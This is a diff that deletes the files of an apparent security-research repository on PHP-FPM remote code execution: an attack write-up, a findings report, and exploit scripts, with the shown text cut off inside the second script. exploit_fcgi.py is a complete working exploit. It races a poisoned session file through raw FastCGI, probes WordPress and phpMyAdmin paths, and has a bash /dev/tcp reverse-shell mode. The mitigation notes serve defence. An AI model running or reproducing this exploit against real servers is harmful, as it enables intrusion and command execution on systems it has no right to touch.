No special PHP configuration needed. -Works on default php.ini settings. - -## Attack chain - -``` -Worker A (held open) Worker B (executes) ---- --- -FastCGI POST with FastCGI GET with -multipart body: PHP_VALUE: - PHP_SESSION_UPLOAD_PROGRESS auto_prepend_file= - = /tmp/sess_ - SCRIPT_FILENAME= -File upload content /var/www/html/index.php -dripped one byte at a time - -> session file persists PHP includes the session - -> parser blocks for file before index.php - the entire drip window -> attacker PHP runs - -> RCE -``` - -### Step by step - -1. **Open a FastCGI connection to FPM worker A.** Send a POST request - with `Content-Type: multipart/form-data` and `PHPSESSID=` in the - `HTTP_COOKIE` param. The body contains: - - A `PHP_SESSION_UPLOAD_PROGRESS` field with embedded PHP code - - A file upload whose content is dripped slowly (byte by byte) - -2. **FPM worker A enters the multipart parser.** As soon as the progress - field and file header are read, `session.upload_progress` writes the - attacker's PHP code into `/tmp/sess_`. The parser then blocks - reading the file content from STDIN, which we control. - -3. **While worker A is blocked, open a second FastCGI connection to - worker B.** Send a GET request with: - - `SCRIPT_FILENAME = /var/www/html/index.php` (any existing .php file) - - `PHP_VALUE = auto_prepend_file = /tmp/sess_` - -4. **Worker B executes.** PHP's `auto_prepend_file` directive causes it to - `include()` the session file before running the main script. The session - file contains the attacker's `` code, which executes. - -5. **Cleanup.** The drip finishes, worker A completes normally (or times - out), the session file is cleaned up. The attacker's code has already - executed on worker B. - -## Why it works on default configuration - -| Setting | Default | Required | -|---------|---------|----------| -| `session.upload_progress.enabled` | `1` | `1` | -| `session.save_path` | `/tmp` | Any known path | -| `pm.max_children` | `5` (dynamic) | `>= 2` | -| `security.limit_extensions` | `.php .phar` | Any (not checked for auto_prepend) | -| `session.upload_progress.cleanup` | `1` | Does not matter (drip defeats it) | - -`security.limit_extensions` blocks execution of files without `.php` -extension as `SCRIPT_FILENAME`. But `auto_prepend_file` loads files via -`include()`, which ignores `security.limit_extensions` entirely. The -session file (which has no extension) is included as PHP code regardless -of `limit_extensions`. - -## When FPM is reachable - -This is the main precondition. The attacker needs raw TCP or unix socket -access to the FPM process. This is realistic in: - -1. **Docker containers.** The official `php:*-fpm` images configure FPM to - listen on TCP `0.0.0.0:9000`. Any container on the same Docker network - can reach it. - -2. **Kubernetes pods.** PHP-FPM pods are typically addressed by service - name. Adjacent pods, including compromised ones, can send raw FastCGI. - -3. **SSRF.** An SSRF vulnerability in any application on the same host - can reach `127.0.0.1:9000` or the unix socket. The `gopher://` scheme - can carry arbitrary TCP payloads including FastCGI. - -4. **Exposed port.** Misconfigured firewalls, cloud security groups, or - Docker port mappings exposing 9000 to the network. - -5. **Same-host access.** A low-privilege shell on the same machine can - often read the unix socket (permissions vary by distro). - -## Test results - -Tested against PHP-FPM 8.3.6 with default settings: - -- `session.upload_progress.enabled=1` (default) -- `session.save_path=/tmp` (default) -- `session.upload_progress.cleanup=1` (default) -- `security.limit_extensions = .php .phar` (default) -- `pm = static`, `pm.max_children = 2` - -Results: 3/3 tests successful. Race hit on first attempt within 200ms -of the drip starting. Reliable with `--drip-time 5` (5 second window). - -## Mitigations - -1. **Set `session.upload_progress.enabled=0`** if upload progress tracking - is not needed. This removes the write primitive entirely. - -2. **Block network access to FPM.** FPM should only be reachable from the - web server process. Use unix sockets with restricted file permissions, - or firewall TCP port 9000. - -3. **Use `pm.max_children=1`** as a last resort. With only one worker, the - racer cannot execute while the drip holds a worker. This severely impacts - performance and is not practical. - -4. Setting `security.limit_extensions` does NOT help. The inclusion - happens via `auto_prepend_file`, which bypasses limit_extensions. - -5. Setting `php_admin_value[auto_prepend_file]` in the FPM pool config - does NOT help. Verified: with `php_admin_value[auto_prepend_file] = - /dev/null` in the pool, a FastCGI request with `PHP_VALUE: - auto_prepend_file = /tmp/sess_xxx` still overrides it. Raw FastCGI - access bypasses the web server that would normally enforce admin - values. The only effective mitigation is blocking FastCGI access. diff --git a/fcgi/exploit_fcgi.py b/fcgi/exploit_fcgi.py deleted file mode 100644 index 9ec4cf7..0000000 --- a/fcgi/exploit_fcgi.py +++ /dev/null @@ -1,566 +0,0 @@ -#!/usr/bin/env python3 -""" -CVE-2026-109618 / CVE-2026-109619 — RCE via FastCGI (no LFI) - -Combines the PHP session upload progress write primitive with direct -FastCGI protocol access to PHP-FPM. No LFI vector, no framework, no -special PHP configuration needed. - -Attack chain: - 1. FastCGI multipart POST to any .php file on the target FPM pool: - PHP_SESSION_UPLOAD_PROGRESS writes attacker PHP code into - /sess_. The request body is dripped slowly via - FastCGI STDIN so the session file persists for seconds (the - multipart parser blocks until STDIN EOF). - - 2. While worker A is blocked on our slow drip, a second FastCGI - request goes to worker B: - SCRIPT_FILENAME = - PHP_VALUE = auto_prepend_file = /sess_ - PHP includes the session file before running the script. - Our PHP code executes. - -Why this works on default config: - - session.upload_progress.enabled=1 (default) - - session.save_path=/tmp (common default) - - auto_prepend_file is settable via PHP_VALUE in FastCGI params - - security.limit_extensions only restricts SCRIPT_FILENAME, not - files loaded via auto_prepend_file - - No application vulnerability needed - - Requires pm.max_children >= 2 (default is 5 for dynamic mode) - -Preconditions: - - Network access to PHP-FPM (TCP socket or unix socket) - - At least one .php file exists on the server - - session.upload_progress.enabled=1 (default) - - pm.max_children >= 2 (default) - -When is FPM reachable: - - Docker: official PHP-FPM images listen on TCP 9000 - - Kubernetes: FPM pods addressable from adjacent pods - - SSRF: another app on the same host can reach FPM - - Same-host: unix socket /run/php/php-fpm.sock - - Exposed port: firewall misconfiguration - -Usage: - # Direct FastCGI (drip race, most reliable) - python3 exploit_fcgi.py --fpm 10.0.0.5:9000 --cmd 'id' - - # Specify PHP file and session path - python3 exploit_fcgi.py --fpm 10.0.0.5:9000 \\ - --script-file /var/www/html/index.php \\ - --session-path /tmp --cmd 'id' - - # Unix socket - python3 exploit_fcgi.py --fpm /run/php/php-fpm.sock --cmd 'id' - - # HTTP poison + FastCGI execute (when FPM not directly reachable - # for uploads, but reachable for execution) - python3 exploit_fcgi.py -t http://target/ --fpm 10.0.0.5:9000 --cmd 'id' - - # Reverse shell - python3 exploit_fcgi.py --fpm 10.0.0.5:9000 \\ - --lhost 10.0.0.1 --lport 4444 -""" - -import argparse -import base64 -import os -import re -import socket -import struct -import sys -import threading -import time -from urllib.parse import urlparse - - -# ── FastCGI protocol ────────────────────────────────────────────────── - -FCGI_VERSION_1 = 1 -FCGI_BEGIN_REQUEST = 1 -FCGI_END_REQUEST = 3 -FCGI_PARAMS = 4 -FCGI_STDIN = 5 -FCGI_STDOUT = 6 -FCGI_STDERR = 7 -FCGI_RESPONDER = 1 - - -def fcgi_record(rtype, request_id, content): - clen = len(content) - pad = (8 - (clen % 8)) % 8 - return (struct.pack(">BBHHBx", FCGI_VERSION_1, rtype, - request_id, clen, pad) - + content + b"\x00" * pad) - - -def fcgi_begin_request(request_id, role=FCGI_RESPONDER, flags=0): - return fcgi_record(FCGI_BEGIN_REQUEST, request_id, - struct.pack(">HBxxxxx", role, flags)) - - -def fcgi_nv(name, value): - nlen = len(name) - vlen = len(value) - out = b"" - if nlen < 128: - out += struct.pack("B", nlen) - else: - out += struct.pack(">I", nlen | 0x80000000) - if vlen < 128: - out += struct.pack("B", vlen) - else: - out += struct.pack(">I", vlen | 0x80000000) - return out + name + value - - -def fcgi_params(request_id, params_dict): - body = b"" - for k, v in params_dict.items(): - body += fcgi_nv(k.encode(), v.encode()) - return (fcgi_record(FCGI_PARAMS, request_id, body) - + fcgi_record(FCGI_PARAMS, request_id, b"")) - - -def fcgi_stdin_eof(request_id): - return fcgi_record(FCGI_STDIN, request_id, b"") - - -def fcgi_parse_stdout(data): - stdout_data = b"" - stderr_data = b"" - pos = 0 - while pos + 8 <= len(data): - _, rtype, _, clen, pad = struct.unpack( - ">BBHHBx", data[pos:pos+8]) - content = data[pos+8:pos+8+clen] - pos += 8 + clen + pad - if rtype == FCGI_STDOUT: - stdout_data += content - elif rtype == FCGI_STDERR: - stderr_data += content - elif rtype == FCGI_END_REQUEST: - break - return stdout_data, stderr_data - - -# ── FPM connection ──────────────────────────────────────────────────── - -def fpm_connect(fpm_addr, timeout=10): - if "/" in fpm_addr or fpm_addr.endswith(".sock"): - sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) - sock.settimeout(timeout) - sock.connect(fpm_addr) - return sock - if ":" in fpm_addr: - host, port = fpm_addr.rsplit(":", 1) - port = int(port) - else: - host = fpm_addr - port = 9000 - return socket.create_connection((host, port), timeout=timeout) - - -def fpm_execute(fpm_addr, script_filename, prepend_file, timeout=10): - """Send GET request to FPM with auto_prepend_file.""" - params = { - "SCRIPT_FILENAME": script_filename, - "SCRIPT_NAME": "/" + os.path.basename(script_filename), - "REQUEST_METHOD": "GET", - "SERVER_SOFTWARE": "go / fcgiclient", - "REMOTE_ADDR": "127.0.0.1", - "SERVER_ADDR": "127.0.0.1", - "SERVER_PORT": "80", - "SERVER_PROTOCOL": "HTTP/1.1", - "CONTENT_TYPE": "", - "CONTENT_LENGTH": "0", - "DOCUMENT_ROOT": os.path.dirname(script_filename), - "REQUEST_URI": "/" + os.path.basename(script_filename), - "PHP_VALUE": f"auto_prepend_file = {prepend_file}", - } - - request_id = 1 - payload = fcgi_begin_request(request_id) - payload += fcgi_params(request_id, params) - payload += fcgi_stdin_eof(request_id) - - sock = fpm_connect(fpm_addr, timeout) - sock.sendall(payload) - - resp = b"" - sock.settimeout(timeout) - try: - while True: - d = sock.recv(65536) - if not d: - break - resp += d - except socket.timeout: - pass - sock.close() - - stdout_data, stderr_data = fcgi_parse_stdout(resp) - if b"\r\n\r\n" in stdout_data: - _, body = stdout_data.split(b"\r\n\r\n", 1) - return body, stderr_data - return stdout_data, stderr_data - - -# ── Multipart helpers ───────────────────────────────────────────────── - -def mp_field(bnd, name, value): - return (b"--" + bnd + b"\r\n" - b'Content-Disposition: form-data; name="' + name + b'"\r\n' - b"\r\n" + value + b"\r\n") - - -# ── Direct FastCGI slow-drip race ───────────────────────────────────── - -def poison_and_execute_fcgi(fpm_addr, script_file, sid, php_code, - session_paths, marker, drip_time=10, - timeout=30): - """All-FastCGI attack: drip multipart to worker A, execute on worker B. - - Thread A sends a FastCGI POST with PHP_SESSION_UPLOAD_PROGRESS. The - multipart body contains a file upload whose content is dripped byte - by byte, keeping the FPM worker in the multipart parser (which keeps - the session file on disk) for the entire drip_time. - - Thread B repeatedly sends FastCGI GET requests with auto_prepend_file - pointing to the session file, racing to include it while worker A - holds it open. - """ - bnd = b"FCGIRACE" + os.urandom(4).hex().encode() - found = {"body": None, "path": None} - - # Build the multipart body prefix: progress field + file header - body_prefix = b"" - body_prefix += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code) - body_prefix += ( - b"--" + bnd + b"\r\n" - b'Content-Disposition: form-data; name="file"; filename="drip.bin"\r\n' - b"Content-Type: application/octet-stream\r\n\r\n" - ) - - # The suffix that closes the file part and the multipart - body_suffix = b"\r\n--" + bnd + b"--\r\n" - - # Calculate total Content-Length (we need to declare it upfront) - # The file content will be dripped: we'll send drip_bytes of padding - drip_bytes = 1024 * 64 - total_body = len(body_prefix) + drip_bytes + len(body_suffix) - - # ── Thread B: racer ── - def racer(): - deadline = time.time() + timeout - attempt = 0 - while time.time() < deadline and found["body"] is None: - for sp in session_paths: - if found["body"] is not None: - return - sess_file = f"{sp}/sess_{sid}" - attempt += 1 - try: - body, _ = fpm_execute(fpm_addr, script_file, - sess_file, timeout=3) - if marker.encode() in body: - found["body"] = body - found["path"] = sess_file - return - except Exception: - pass - time.sleep(0.005) - - # ── Thread A: slow drip ── - fcgi_params_dict = { - "SCRIPT_FILENAME": script_file, - "SCRIPT_NAME": "/" + os.path.basename(script_file), - "REQUEST_METHOD": "POST", - "SERVER_SOFTWARE": "go / fcgiclient", - "REMOTE_ADDR": "127.0.0.1", - "SERVER_ADDR": "127.0.0.1", - "SERVER_PORT": "80", - "SERVER_PROTOCOL": "HTTP/1.1", - "CONTENT_TYPE": f"multipart/form-data; boundary={bnd.decode()}", - "CONTENT_LENGTH": str(total_body), - "DOCUMENT_ROOT": os.path.dirname(script_file), - "REQUEST_URI": "/" + os.path.basename(script_file), - "HTTP_COOKIE": f"PHPSESSID={sid}", - } - - request_id = 1 - header = fcgi_begin_request(request_id) - header += fcgi_params(request_id, fcgi_params_dict) - - # Send headers + body prefix as first STDIN record - first_stdin = fcgi_record(FCGI_STDIN, request_id, body_prefix) - - sock = fpm_connect(fpm_addr, timeout=timeout) - sock.sendall(header + first_stdin) - - # Small delay to let FPM start processing and write session file - time.sleep(0.2) - - # Start the racer - race_thread = threading.Thread(target=racer, daemon=True) - race_thread.start() - - # Drip file content slowly - drip_interval = drip_time / (drip_bytes // 64) - sent = 0 - while sent < drip_bytes and found["body"] is None: - chunk = b"\x00" * min(64, drip_bytes - sent) - try: - sock.sendall(fcgi_record(FCGI_STDIN, request_id, chunk)) - sent += len(chunk) - except (BrokenPipeError, ConnectionResetError, OSError): - break - time.sleep(drip_interval) - - # Send suffix + STDIN EOF - try: - sock.sendall(fcgi_record(FCGI_STDIN, request_id, body_suffix)) - sock.sendall(fcgi_stdin_eof(request_id)) - except: - pass - - # Read response (cleanup) - sock.settimeout(3) - try: - while True: - d = sock.recv(8192) - if not d: - break - except: - pass - sock.close() - - race_thread.join(timeout=5) - return found["body"], found["path"] - - -# ── HTTP helpers (fallback for HTTP+FCGI mixed mode) ────────────────── - -def _parse_url(url): - p = urlparse(url) - tls = p.scheme == "https" - host = p.hostname or "127.0.0.1" - port = p.port or (443 if tls else 80) - path = p.path or "/" - return host, port, tls, path - - -def tcp_connect(host, port, tls=False, timeout=30): - sock = socket.create_connection((host, port), timeout=timeout) - if tls: - import ssl - ctx = ssl.create_default_context() - ctx.check_hostname = False - ctx.verify_mode = ssl.CERT_NONE - sock = ctx.wrap_socket(sock, server_hostname=host) - return sock - - -def recv_all(sock, timeout=10): - resp = b"" - sock.settimeout(timeout) - try: - while True: - d = sock.recv(8192) - if not d: - break - resp += d - except socket.timeout: - pass - return resp - - -def send_chunk(sock, data): - sock.sendall(f"{len(data):x}\r\n".encode() + data + b"\r\n") - - -# ── Script discovery ────────────────────────────────────────────────── - -SCRIPT_CANDIDATES = [ - "/var/www/html/index.php", - "/var/www/html/wp-login.php", - "/var/www/html/wp-cron.php", - "/var/www/html/xmlrpc.php", - "/var/www/public/index.php", - "/var/www/app/public/index.php", - "/var/www/html/info.php", - "/srv/http/index.php", - "/usr/share/phpmyadmin/index.php", - "/usr/local/lib/php/pearcmd.php", -] - -SESSION_PATHS = [ - "/tmp", - "/tmp/php-sessions", - "/var/lib/php/sessions", - "/var/lib/php5/sessions", - "/var/lib/php/sess", -] - - -def find_php_script(fpm_addr, candidates, timeout=3): - """Probe FPM to find an existing .php file.""" - for path in candidates: - try: - params = { - "SCRIPT_FILENAME": path, - "REQUEST_METHOD": "GET", - "SERVER_SOFTWARE": "probe", - "REMOTE_ADDR": "127.0.0.1", - "SERVER_ADDR": "127.0.0.1", - "SERVER_PORT": "80", - "SERVER_PROTOCOL": "HTTP/1.1", - "CONTENT_TYPE": "", - "CONTENT_LENGTH": "0", - } - request_id = 1 - payload = fcgi_begin_request(request_id) - payload += fcgi_params(request_id, params) - payload += fcgi_stdin_eof(request_id) - - sock = fpm_connect(fpm_addr, timeout) - sock.sendall(payload) - resp = b"" - sock.settimeout(timeout) - try: - while True: - d = sock.recv(65536) - if not d: - break - resp += d - except socket.timeout: - pass - sock.close() - - stdout, _ = fcgi_parse_stdout(resp) - if b"Primary script unknown" not in stdout and len(stdout) > 0: - return path - except: - continue - return None - - -# ── main ────────────────────────────────────────────────────────────── - -def run(args): - fpm_addr = args.fpm - sid = args.session_id or os.urandom(16).hex() - marker = "FCGIRCE" - - spaths = list(SESSION_PATHS) - if args.session_path: - spaths = [args.session_path] + [s for s in spaths - if s != args.session_path] - - if args.cmd: - cmd_b64 = base64.b64encode(args.cmd.encode()).decode() - php_code = ( - f'' - ).encode() - elif args.lhost and args.lport: - shell = (f"bash -c 'bash -i >& " - f"/dev/tcp/{args.lhost}/{args.lport} 0>&1'") - cmd_b64 = base64.b64encode(shell.encode()).decode() - php_code = f''.encode() - elif args.trigger_only: - php_code = ( - f'' - ).encode() - else: - print("[!] Specify --cmd, --lhost/--lport, or --trigger-only", - file=sys.stderr) - sys.exit(1) - - print("=" * 65) - print(" CVE-2026-109618/109619: RCE via FastCGI (no LFI)") - print("=" * 65) - print(f" FPM address : {fpm_addr}") - print(f" Session ID : {sid}") - print(f" Drip time : {args.drip_time}s") - if args.cmd: - print(f" Command : {args.cmd}") - elif args.lhost: - print(f" Reverse sh : {args.lhost}:{args.lport}") - else: - print(f" Trigger-only") - print() - - # ── Step 0: find a .php script ── - print("[*] Step 0: probing PHP-FPM for an existing .php file...") - script_file = args.script_file - if not script_file: - script_file = find_php_script(fpm_addr, SCRIPT_CANDIDATES) - if script_file: - print(f" Found: {script_file}") - else: - print(" [!] No .php file found. Use --script-file.") - sys.exit(1) - else: - print(f" Using: {script_file}") - - # ── Step 1+2: poison via slow drip + race execution ── - print(f"[*] Step 1+2: slow-drip poison + race execution...") - print(f" Dripping multipart body over {args.drip_time}s " - f"while racing auto_prepend_file...") - - body, path = poison_and_execute_fcgi( - fpm_addr, script_file, sid, php_code, - spaths, marker, - drip_time=args.drip_time, - timeout=args.drip_time + 10) - - if body: - print(f" [+] RCE confirmed via {path}") - output = body.decode(errors="replace") - m = re.search(rf"{marker}:(.*?):{marker}END", output, re.DOTALL) - if m: - print() - print(m.group(1)) - else: - print() - print(output) - return True - else: - print(" [!] Race did not succeed.") - print(" Possible causes:") - print(" - pm.max_children < 2 (need at least 2 workers)") - print(" - session.upload_progress.enabled = 0") - print(" - Incorrect session.save_path (try --session-path)") - print(" - Try increasing --drip-time") - return False - - -def main(): - p = argparse.ArgumentParser( - description="CVE-2026-109618/109619: RCE via FastCGI (no LFI)") - p.add_argument("--fpm", required=True, - help="PHP-FPM address (host:port or /path/to/socket)") - p.add_argument("-t", "--target", - help="HTTP URL (optional, for HTTP+FCGI mixed mode)") - p.add_argument("--script-file", - help="Existing .php file on target (auto-detected)") - p.add_argument("--session-path", - help="session.save_path override") - p.add_argument("--session-id", - help="Force session ID (default: random)") - p.add_argument("--cmd", help="Command to execute") - p.add_argument("--lhost", help="Reverse shell host") - p.add_argument("--lport", type=int, help="Reverse shell port") - p.add_argument("--trigger-only", action="store_true", - help="Verify RCE without running a payload") - p.add_argument("--drip-time", type=int, default=10, - help="Seconds to drip the upload body (default: 10)") - sys.exit(0 if run(p.parse_args()) else 1) - - -if __name__ == "__main__": - main() diff --git a/nolfi/FINDINGS.md b/nolfi/FINDINGS.md deleted file mode 100644 index 8140cc2..0000000 --- a/nolfi/FINDINGS.md +++ /dev/null @@ -1,169 +0,0 @@ -# RCE Without LFI — Findings - -Question: can CVE-2026-109618 / CVE-2026-109619 (the `PHP_SESSION_UPLOAD_PROGRESS` -write primitive) be turned into RCE **without any include() primitive in the -application**? - -Short answer: not through the session decoder — PHP never unserializes attacker -bytes off the session file, and four independent guards close that route. But -yes through a different consumer: **PHP-FPM's own request routing**. When -`session.save_path` is web-served, the poisoned session file is directly -requestable, and php-fpm executes it through the standard `PATH_INFO` route as -soon as `security.limit_extensions` is empty. No application code runs at any -point; the poison fires even on 404 URLs. - -Everything below was verified against a local php-fpm 8.5.11 build plus the -PHP 8.3/8.5 sources (`session_83.c`, php-src `ext/session/session.c`, -`ext/session/mod_files.c`, `ext/session/rfc1867_83.c`). - -## Part 1: why session deserialization is a dead end - -The obvious no-LFI consumer is `session_start()` itself: it decodes the -poisoned file on the next request. If the decoded stream could be made to -unserialize an attacker-chosen `O:...` object, any autoloadable gadget chain -(phpggc) would give RCE with zero LFI. It cannot, for four reasons: - -**1. The `|` guard aborts the whole write** (php handler, the default). - -`PS_SERIALIZER_ENCODE_FUNC(php)` checks every key: - - smart_str_appendl(&buf, ZSTR_VAL(key), ZSTR_LEN(key)); - if (memchr(ZSTR_VAL(key), PS_DELIMITER, ZSTR_LEN(key))) { - ... return NULL; /* session.c:993-998 in 8.3 */ - -and `php_session_save_current_state()` then writes the **empty string** instead -of the session (session.c:529-531). The progress key is `prefix + $_POST value` -appended verbatim (session.c:3144-3145, no per-character filtering — the README -of CVE-2026-109619 slightly overstates this as "filtering"), so a `|` in the -value kills the write entirely. - -Verified: POST with progress value `AAA|O:13:"ExploitCanary"...` → session file -exists with **0 bytes**. No object, no data. - -**2. The key is never unserialized.** With `serialize_handler=php`, the decode -loop splits at the first `|` and unserializes only the value side -(session.c:1024-1048). The value side is always the well-formed progress array -written by `php_var_serialize` — length-prefixed, aligned. The raw attacker -bytes land in the key, which becomes a plain `$_SESSION` array key. - -**3. Other serializers are aligned or escaped.** -- `php_serialize`: key passes through `php_var_serialize` escaping - (`"` → `\"`), so a smuggled `O:8:\"...` cannot parse; read-back is a single - aligned `unserialize()`. -- `php_binary`: encode skips keys longer than 127 bytes (`session.c:928`, - `continue`), decode is length-prefixed. -- `wddx`: XML, can only produce scalars/arrays. - -**4. The SID cannot carry the payload into a filename.** The rfc1867 flow -skips `session.c`'s own SID validation — `PS(id) = zend_string_copy(...)` -straight from the cookie/GET/POST-form-field (session.c FILE_START handler) — -but `mod_files.c:ps_files_open()` re-validates with `php_session_valid_key()` -(`[A-Za-z0-9,-]`, length ≤ 256) before every open, and opens with `O_NOFOLLOW`. -The path is always `/sess_` (`ps_files_path_create`), so no -traversal, no `sess_x.php`, no symlink. Verified: a dotted SID produces -"Session ID is too long or contains illegal characters" and no file. - -Handler-specific corollary: the rfc1867 path hands the raw SID to whichever -save handler is configured. `mod_files` is the only built-in that validates. -Third-party handlers (phpredis, memcached) receive the SID bytes unvalidated — -whether they sanitize before building store keys is deployment-dependent and -was **not verified** here; for redis-style handlers a CRLF-capable SID is -protocol injection, which is a separate research thread. - -## Part 2: what works — php-fpm consumes the file itself - -The no-LFI consumer is not PHP code, it is the **request router**: - -1. **The poison does not need the application.** The rfc1867 callback runs - inside the SAPI POST reader, before script dispatch. A multipart POST to a - URL whose script does not exist (fpm answers 404) still writes the poisoned - session file. Verified: POST to `/nonexistent.php` → file written. This - means *any* PHP-handled vhost URL is a valid injection endpoint. - -2. **If `session.save_path` is web-served, the file is fetchable over HTTP.** - `sess_` has no extension (SID charset has no dot), so a default php-fpm - refuses it: `Access denied.` from `security.limit_extensions` (verified). - But with **`security.limit_extensions` empty** — a very common production - setting — the classic nginx `cgi.fix_pathinfo` route executes it: - - GET /sessions/sess_/x.php?c=id - - nginx matches `location ~ \.php$` on the URI, resolves the longest existing - prefix as the script, and fpm executes the extensionless session file with - `PATH_INFO=/x.php`. - - Verified end-to-end against php-fpm 8.5.11: the session file - `upload_progress_|a:5:{...}` executed and - returned `uid=1000(...)`. Both limit_extensions states tested. - -3. **Persistence vs the race.** With `session.upload_progress.cleanup=1` - (default) the file is truncated at `MULTIPART_EVENT_END`. Persistence - options: - - `cleanup=0` — file persists with `done=1`; no race needed. - - **Streaming request bodies** (Apache mod_php, nginx - `fastcgi_request_buffering off`, lighttpd, direct fpm exposure): the - write lands at `MULTIPART_EVENT_FILE_START` and the window lasts as long - as the upload is dripped. Verified: slow FCGI drip, execution request hit - during the window on the first poll. - - **Buffering stacks** (nginx default): the whole body arrives, then fpm - parses; the window is only the parse time — measured ~16 ms for a 7 MB - body. Detection may land, follow-up commands usually miss. Not reliable. - - **CVE-2026-109618 OOM bailout** — deterministic: the field flood OOMs the - parser, `zend_bailout` longjmps past `MULTIPART_EVENT_END`, cleanup never - runs, and the poisoned file persists. Requires the OOM body to fit under - `post_max_size` while exceeding `memory_limit` headroom (i.e. - `memory_limit <` flood volume `< post_max_size`). Verified: 17 MB flood - against `memory_limit=16M`, `post_max_size=64M` → worker died, file - persisted, pathinfo execution returned command output. - -## Exploit - -`exploit_nolfi.py` implements the chain with auto-detection: - -- `--probe` classifies each candidate URL prefix: not served / served only - (source disclosure) / fully executable. -- Default mode poisons + races the upload window while polling execution - vectors (`/x.php`, `/index.php`, `/a.phar`, `/x.phtml`), then falls back to - calm execution if the file persisted. -- `--oom` switches persistence to the CVE-2026-109618 bailout (tune with - `--fields` / `--fsize`). - -## Updated mitigation matrix - -| Mitigation | Race | RLIMIT | /proc/fd | served-path (this) | -|---|---|---|---|---| -| PHP 8.4.27 patch alone | FAIL | FAIL | FAIL | FAIL | -| + `upload_progress=0` | OK | OK | FAIL | FAIL (poison gone, but /proc/fd-style upload temp files unaffected) | -| + `hidepid=2` on /proc | FAIL | FAIL | OK | FAIL | -| + limit_extensions=`.php .phar` | — | — | — | OK | -| + save_path outside docroot / not served | — | — | — | OK | -| Fix the LFI | OK | OK | OK | **FAIL** | - -"Fix the LFI" no longer closes the bug class: the served-path chain needs no -application file-inclusion at all. - -## Recommendations (additions to the existing list) - -5. Set `security.limit_extensions = .php .phar` explicitly in every fpm pool - (do not leave it empty). -6. Keep `session.save_path` outside any web-served tree; audit for alias or - `location` blocks that expose it. -7. Keep `cgi.fix_pathinfo=0` where the application does not need PATH_INFO. - -## Test log (local rig) - -- php-fpm 8.5.11 (source build), session.save_path under a docroot served by - an nginx-equivalent gateway (static files + `location ~ \.php$` + - fix_pathinfo semantics). -- `cleanup=0` + empty limit_extensions: poison → served detection → pathinfo - exec → interactive command loop. Confirmed RCE. -- `cleanup=1` + empty limit_extensions + streaming FCGI drip: execution hit - during upload window on first poll. Confirmed RCE. -- `cleanup=1` + OOM flood (17 MB, memory_limit=16M): worker bailout, file - persisted, exec confirmed. Confirmed RCE. -- `cleanup=1` + nginx-style buffered body: ~16 ms window at 7 MB; detection - frequently succeeds, sustained command execution unreliable. Documented. -- `security.limit_extensions=.php .phar` (default): all execution attempts - blocked with "Access denied". Confirmed mitigation. -- Session deserialization injection (`|` in progress key): 0-byte file, - no unserialization. Confirmed dead end. diff --git a/nolfi/check_deploy.php b/nolfi/check_deploy.php deleted file mode 100644 index 7c1fc63..0000000 --- a/nolfi/check_deploy.php +++ /dev/null @@ -1,56 +0,0 @@ -/sess_ during multipart parsing. This fires even on - URLs that do not exist (404), because rfc1867 processing happens in - the SAPI POST reader before script dispatch. No session_start(), - no application code involved. - - 2. If session.save_path lives under a web-served directory, the session - file is directly requestable over HTTP. - - 3. php-fpm executes the (extension-less) session file when the request - carries PATH_INFO, e.g. GET /sessions/sess_abc123/x.php - — the classic nginx cgi.fix_pathinfo routing. The only gate is - security.limit_extensions, whose compiled default (.php .phar) blocks - it but which is frequently set empty in real deployments. Verified - both ways against php-fpm 8.5 (see nolfi/FINDINGS.md). - - 4. session.upload_progress.cleanup=1 (default) truncates the file when - the upload finishes, so execution is raced against the upload window - with a slow multipart body. With cleanup=0 the file persists and no - race is needed. - -Preconditions (all defaults unless noted): - - session.upload_progress.enabled=1 - - PHP-FPM with session.save_path web-served - - security.limit_extensions empty (non-default; common in the wild) - - any PHP-handled URL on the vhost, including 404s - -Usage: - python3 exploit_nolfi.py -t http://target/ --probe - python3 exploit_nolfi.py -t http://target/ --url-prefix /sessions --cmd 'id' - python3 exploit_nolfi.py -t http://target/ --url-prefix /tmp --lhost 10.0.0.1 --lport 4444 -""" - -import argparse -import io -import os -import re -import socket -import sys -import threading -import time - -MARKER = "NOLFIMARK" - -DEFAULT_URL_PREFIXES = [ - "/sessions", - "/tmp", - "/var/lib/php/sessions", - "/var/lib/php/session", - "/var/lib/php5/sessions", - "/sess", - "/storage/sessions", - "/files/sessions", -] - -# --------------------------------------------------------------------------- -# HTTP helpers (raw sockets, same style as the other exploits) -# --------------------------------------------------------------------------- - -def _parse_url(url: str): - from urllib.parse import urlparse - p = urlparse(url) - tls = p.scheme == "https" - host = p.hostname or "127.0.0.1" - port = p.port or (443 if tls else 80) - path = p.path or "/" - if p.query: - path += "?" + p.query - return host, port, tls, path - - -def _connect(host, port, tls, timeout=10): - sock = socket.create_connection((host, port), timeout=timeout) - if tls: - import ssl - ctx = ssl.create_default_context() - ctx.check_hostname = False - ctx.verify_mode = ssl.CERT_NONE - sock = ctx.wrap_socket(sock, server_hostname=host) - return sock - - -def _recv_response(sock, timeout=5): - resp = b"" - sock.settimeout(timeout) - try: - while True: - chunk = sock.recv(8192) - if not chunk: - break - resp += chunk - if b"\r\n\r\n" in resp: - hdr_end = resp.index(b"\r\n\r\n") + 4 - m = re.search(rb"Content-Length:\s*(\d+)", resp[:hdr_end], re.I) - if m: - cl = int(m.group(1)) - while len(resp) - hdr_end < cl: - more = sock.recv(8192) - if not more: - break - resp += more - break - if b"transfer-encoding: chunked" in resp[:hdr_end].lower(): - if b"\r\n0\r\n" in resp[hdr_end:]: - break - except socket.timeout: - pass - return resp - - -def _decode_chunked(data): - out = b"" - while data: - line_end = data.find(b"\r\n") - if line_end < 0: - break - try: - n = int(data[:line_end].split(b";")[0].strip(), 16) - except ValueError: - break - if n == 0: - break - out += data[line_end + 2:line_end + 2 + n] - data = data[line_end + 2 + n + 2:] - return out - - -def _body_of(resp): - if b"\r\n\r\n" not in resp: - return b"" - headers, body = resp.split(b"\r\n\r\n", 1) - if b"transfer-encoding: chunked" in headers.lower(): - return _decode_chunked(body) - return body - - -def _status_of(resp): - try: - return int(resp.split(b" ")[1]) - except (IndexError, ValueError): - return 0 - - -def _get(host, port, tls, path, cookie=None, timeout=5, keepalive=False): - sock = _connect(host, port, tls) - req = b"GET " + path.encode() + b" HTTP/1.1\r\nHost: " + host.encode() + b"\r\n" - if cookie: - req += b"Cookie: " + cookie.encode() + b"\r\n" - req += b"Connection: close\r\n\r\n" - sock.sendall(req) - resp = _recv_response(sock, timeout) - sock.close() - return _status_of(resp), _body_of(resp) - - -# --------------------------------------------------------------------------- -# Multipart slow upload (keeps the poisoned session file on disk) -# 